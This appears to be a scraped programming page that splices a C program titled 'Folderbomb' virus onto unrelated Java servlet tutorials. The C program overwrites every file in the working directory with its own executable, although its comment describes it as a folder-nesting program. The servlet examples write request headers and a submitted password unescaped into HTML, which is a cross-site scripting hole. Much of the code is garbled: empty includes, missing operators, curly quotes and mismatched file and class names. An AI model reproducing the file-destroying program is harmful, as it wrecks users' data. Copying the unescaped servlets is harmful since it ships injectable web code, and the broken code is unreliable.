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virus in c

VIRUS CODE-2
/*This is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......

#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}




Servlet Header Request

Create ./header_request directory for Servlet Header Request program in ../Apache Software Foundation/Tomcat 7.0/webapps and create following directory and file structure.

header_request
├── WEB-INF
     ├── classes
     ├    └── HelloWorld.java
     └── web.xml

Write java code in HelloWorld.java file



//Import java libraries
import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

//Extends HttpServlet class
public class HeaderRequestNames extends HttpServlet {
  
    public void init() {
    }
    public void doGet(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<table border=1>");
        Enumeration headers = request.getHeaderNames();
        while(headers.hasMoreElements())
        {
          
            String name = (String)headers.nextElement();
            out.println("<tr><td>"+name+"</td>");
            String headerValue = request.getHeader(name);
            out.println("<td>"+headerValue+"</td></tr>");
        }
        out.println("<table>");
    }
}


Write Config code in web.xml file

 

 <web-app>
    <servlet>
        <servlet-name>HeaderRequest</servlet-name>
        <servlet-class>HeaderRequestNames</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>HeaderRequest</servlet-name>
        <url-pattern>/request</url-pattern>
    </servlet-mapping>
</web-app>


Hello World Program in Servlet

Create ./helloworld directory for "Hello World" program in ../Apache Software Foundation/Tomcat 7.0/webapps and create following directory and file structure. 
helloworld
├── WEB-INF
     ├── classes
     ├    └── HelloWorld.java
     └── web.xml

Write java code in HelloWorld.java file



// Import java libraries
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

// Define Class and Extend HttpServlet class
public class HelloWorld extends HttpServlet {

  public void init() throws ServletException
  {
  }

  public void doGet(HttpServletRequest request,
                    HttpServletResponse response)
            throws ServletException, IOException
  {
      // Set response content type
      response.setContentType("text/html");
      PrintWriter out = response.getWriter();
    // Print Hello World
      out.println("<h1>Hello World</h1>");
  }
}

Write Config code in web.xml file



 <web-app>
   <servlet>
        <servlet-name>HelloWorld</servlet-name>
        <servlet-class>HelloWorld</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>HelloWorld</servlet-name>
        <url-pattern>/HelloWorld</url-pattern>
    </servlet-mapping>
</web-app>

 OutPut 

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Get Form Data in Servlet

Create ./formdata directory for Servlet Form Data Request program in ../Apache Software Foundation/Tomcat 7.0/webapps and create following directory and file structure.

formdata
├── WEB-INF
├    ├── classes
├    ├    └── FormData.java
├    └── web.xml
└── index.html
 

Write HTML code in index.html file

 <html>
 <body>
  <form id="formdata" method="get" action="request">
   <lable>UserName: </lable>
   <input type="text" name="username"/>
   <br/><br/>
   <lable>Password: </lable>
   <input type="password" name="password" />
   <br/><br/>
   <input type="submit" name="submit" value="submit" />
  </form>
 </body>
</html>

Write java code in HelloWorld.java file



//Import java lib
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

//Extends class HttpServlet
public class FormData extends HttpServlet
{
    public void init(){
    }
  
    public void doGet(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException
    {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<table border=1><tr><td>UserName: </td>");
        out.println("<td>"+request.getParameter("username")+"</td></tr>");      
        out.println("<tr><td>PassWord: </td>");
        out.println("<td>"+request.getParameter("password")+"</td></tr>");
  
    }
}

Write Config code in web.xml file

 

 <web-app>
    <servlet>
        <servlet-name>FormData</servlet-name>
        <servlet-class>FormData</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FormData</servlet-name>
        <url-pattern>/request</url-pattern>
    </servlet-mapping>
</web-app>


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Created by Snehal vyas | Vipul Patel